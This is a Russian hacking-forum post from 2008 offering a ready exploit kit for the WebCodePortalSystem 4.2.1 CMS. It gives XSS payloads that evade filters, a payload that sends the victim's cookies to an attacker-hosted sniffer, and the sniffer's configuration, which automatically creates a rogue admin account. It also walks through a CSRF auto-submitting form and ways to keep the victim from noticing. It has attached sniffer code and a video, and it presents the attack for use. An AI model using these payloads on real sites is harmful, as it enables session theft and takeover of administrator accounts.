Показать сообщение отдельно

  #17  
Старый 04.02.2008, 13:10
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

WebCodePortalSystem v.4.2.1 (4.2.2) Создание привилегированного пользователя (админа) с помощью XSS, Снифер-Сплойт в комплекте + Видео по использованию

XSS - это достаточно серьезная уязвимость, которую не стоит не дооценивать!
Под XSS найденные I-I()/Ib`ом я написал снифер-сплойт, который не только сохраняет полученные куки, но и создаёт пользователя-админа, если куки окажутся админскими.

Вот XSS:

Цитата:
Сообщение от I-I()/Ib  
XSS WCPS v.4.2.1
Собственно не новые XSS(их там в каждом скрипте штуки по две), а новый метод обхода фильтров. Мне вообще "нравится" способ работы разработчиков. Вместо того чтобы исправить уязвимость они добавляют в фильтр новые ключевые слова, что, по их мнению, называется латанием дыр. Как говорится латаем дыры в днище корабля, когда сам корабль разваливается попалам.
Код:
http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[']=1<body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
Нам понадобится следующее:

-Сам снифер (смотреть в аттаче)
-Хост с поддержкой сокетов (врятли достать такой хост проблемно)


Привидем XSS к рабочему виду, сделаем с её помощью перемещение на сайт, на котором лежим наш снифер и отдачу куков:

Код:
http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout('docum'%2B'ent.loca'%2B'tion.repl'%2B'ace("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie)',1)>
* - код XSS так же продублирован в аттаче, в эту могут добавится лишние пробелы, используйте ту что в аттаче или удалите лишние пробелы в этой

Меняем данные на свои:

("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie)

http://test1.ru/ - хост где будет лежать снифер
/sn.php - путь до снифера

Все больше ничего менять не нужно.

Настроим снифер:

PHP код:
//===========Config

$new_user_login 'master';
$new_user_password md5('master');
$op1 1// Сохранять полученные куки
$op2 1// Создать пользователя-админа (нужно что бы на снифер попал админ)
$link 'http://mail.ru'// Сайт на который будет перемещен, словивший нашу xss

//=========== 
Указываем логин и пароль нового пользователя - хотя можно оставить и пару master:master Ставим две единички (вообще если на снифер попадает админ, то хватит и просто создание нового пользователя, врятли нам после этого понадобятся куки админа). Теперь для чего нужно что бы после слова куков жертву перемещало на какой либо сайт - впринципе можно поставить перемещение на его же сайт, что бы было меньше палева (собственно для этого это и нужно).

Все сделали? ну тогда просто кидаем XSS админу и ждем результат...
А результатом должен быть наш новый пользователь (админ).

Как это работает?

Вообще когда мы крадем куки пользователей мы после этого обычно идем в админку и создаем нового пользователя или льем шелл - вообщем закрепляемся всевозможными способами. Но нам никто не мешает автоматизировать процесс. Суть то проста: на снифер падают куки, а так же сохранятеся реферер, т.е. у нас все не обходимое что бы авторизироваться под админом + адрес сайта (реферер). Дальше просто формируем пакет вписывая туда все необходимые данные для создания нового пользователя через админку, добавляем только что словленные куки, дальше пакет улетает и появляется новый пользователь. Вот такая вот автоматизация процесса. И еще один плюс, который появляется перед "ручным" способом это то что если админ все таки перешел по ссылке, то пользователь будет создан, а вот если делать руками, то админ может нажать заветную кнопочку "выход" и толку после этого от его куков не будет.

И ещё немного...

Мой вариант реализации отправки более общий, т.к. скрипт подделывает реферер, который может проверятся (но в случае с WebCodePortalSystem в админке ничего не проверяется). А вот в тех случаях когда подделывать реферер не нужно, можно сделать все гораздо проще:

Этот варинат предложил I-I()/Ib:

Создаем форму которая отправится сама - делается это с помощью javascript`а. В форме делаем все поля скрытыми и затачиваем их под какое то одно действие - к примеру опять же создание нового пользователя. Не забываем в action`е указать путь до сайта на котором нужно создать пользователя. Дальше заливаем на любой хост (хоть на народ) и получается что то вроде этого:

http://mysite.ru/1.html

Дальше кидаем линк админу и как только он зайдет на эту страничку будет создан новый пользователь.
И если так посмотреть то для этого не нужна никакая xss.

Но у такого способа есть минусы:
-Это будет работать только если нет проверки реферера, т.к. формой его не подделать (а если подделывать php скриптом, то тут нужны куки и как следствие наличие XSS)

-Как только данные из формы отправятся, админ тут же попадет в адмику на страницу с пользователями (а такой переход будет выглядеть очень палевно).
Но это можно решить поставив скрипт (с формой) в ифрейм.

Сам скрипт от I-I()/Ib`я так же лежит в аттаче. (скрипт создает пользователя (админа) с логином xxxxxx и паролем xxxxxx)


Подводя итоги...

Вообщем случае если мы знаем какие данные нужно отправить для того что бы сделать какое либо действие (создасть пользователя/залить шелл/получить личную информацию и т.д.) и мы хотим что бы админ (пользователь с нужными привилегиями) выполнил нужные действия, сам того не зная, то для начала нужно определится нужен ли реферер (т.е. проверяется он в скрипте или нет).

Если он проверяется то нам нужно найти XSS с помощью который мы украдем куки и затем сформируем пакет с необходимыми данными.

Если он не проверяется, то искать XSS не обязательно (хотя если XSS активная, то её приемущество на лицо - не надо переходить по каким либо ссылкам), достаточно сделать форму которая отправит данные автоматически (к примеру сразу после загрузки формы).

Вообще если подумать, то отсутствие проверки реферера это очень серьезный недочет. Т.к. сделать такую форму можно минут за 5 (скопировать её к примеру из админки, поменять поля на хидден что бы их не было видно, поменять актион и все готово), а дальше к примеру на каком либо форуме/гостевой и т.д. просто запостить линк и ждать когда админ или другой интерисующий пользователь перейдем по ссылке. А в результате шелл/действия от лица других пользователей/получение информации и т.д.

Наличие Активной XSS существенно облегчает задачу, т.к. пасивные XSS и метод с формой можно отнести к Социальной Инженерии, т.к. трубеутся непосредственное участие пользователя обладающими нужными правами (нужно что бы пользователь перешел по определенной ссылке), а с Активной XSS никакого участия не требуется.

=====Линк на видео=====

http://rapidshare.com/files/89037260/wcps_xss.rar.html

Описание к видео лежит в архиве.

=====Аттач=====

sn.zip - снифер-сплойт
1.zip - форма с отправкой данный, от I-I()/Ib`я
xss.txt - код XSS (в выше написанной добивались пробелы)
Вложения
Тип файла: zip sn.zip (942 байт, 123 просмотров)
Тип файла: zip 1.zip (391 байт, 80 просмотров)
Тип файла: txt xss.txt (195 байт, 74 просмотров)

Последний раз редактировалось Grey; 06.02.2008 в 02:38..
 
Ответить с цитированием